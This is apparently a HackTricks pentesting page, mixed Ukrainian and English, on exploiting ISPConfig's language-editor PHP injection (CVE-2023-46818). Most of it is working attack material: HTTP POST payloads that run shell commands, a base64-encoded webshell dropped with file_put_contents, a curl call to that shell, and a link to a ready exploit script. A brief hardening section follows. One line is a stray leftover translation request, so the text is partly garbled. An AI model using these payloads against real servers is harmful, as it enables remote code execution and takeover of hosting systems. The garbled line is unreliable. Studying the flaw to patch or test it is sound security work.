# ISPConfig

{{#include ../../banners/hacktricks-training.md}}

## Огляд

ISPConfig — панель керування хостингом з відкритим вихідним кодом. У старіших збірках 3.2.x була функція редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла довільну ін’єкцію PHP-коду через пошкоджений запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від способу виконання PHP, до privilege escalation.

Ключові шляхи за замовчуванням:
- Корінь веб-сервера зазвичай знаходиться в `/var/www/ispconfig` при обслуговуванні через `php -S` або через Apache/nginx.
- Admin UI доступний на HTTP(S) vhost (іноді прив'язаний лише до localhost; за потреби використайте SSH port-forward).

Порада: Якщо панель прив'язана локально (наприклад, `127.0.0.1:8080`), перенаправте її:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Language editor PHP code injection (CVE-2023-46818)

- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

### Manual exploitation flow

1) Open/create a language file to obtain CSRF tokens

Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.

2) Inject PHP via records[] and save

Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Позаканальний тест (спостереження ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Створити файли та розмістити webshell

Використовуйте `file_put_contents` для створення файлу в веб-доступному шляху (наприклад, `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Потім напиши простий webshell, використовуючи base64, щоб уникнути небажаних символів у POST body:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Будь ласка, вставте вміст файлу src/network-services-pentesting/pentesting-web/ispconfig.md, який потрібно перекласти.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Якщо PHP запускається від імені root (наприклад, через `php -S 127.0.0.1:8080` запущений root), це дає негайний root RCE. В іншому випадку ви отримуєте виконання коду від імені користувача веб-сервера.

### Python PoC

Готовий до використання експлоїт автоматизує token handling та payload delivery:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)

Приклад запуску:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Посилення захисту

- Оновіть до 3.2.11p1 або пізнішої версії
- Вимкніть редактор мов, якщо це не суворо необхідно:
```
admin_allow_langedit=no
```
- Уникайте запуску панелі як root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї
- Забезпечте надійну аутентифікацію для вбудованого облікового запису `admin`

## References

- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)

{{#include ../../banners/hacktricks-training.md}}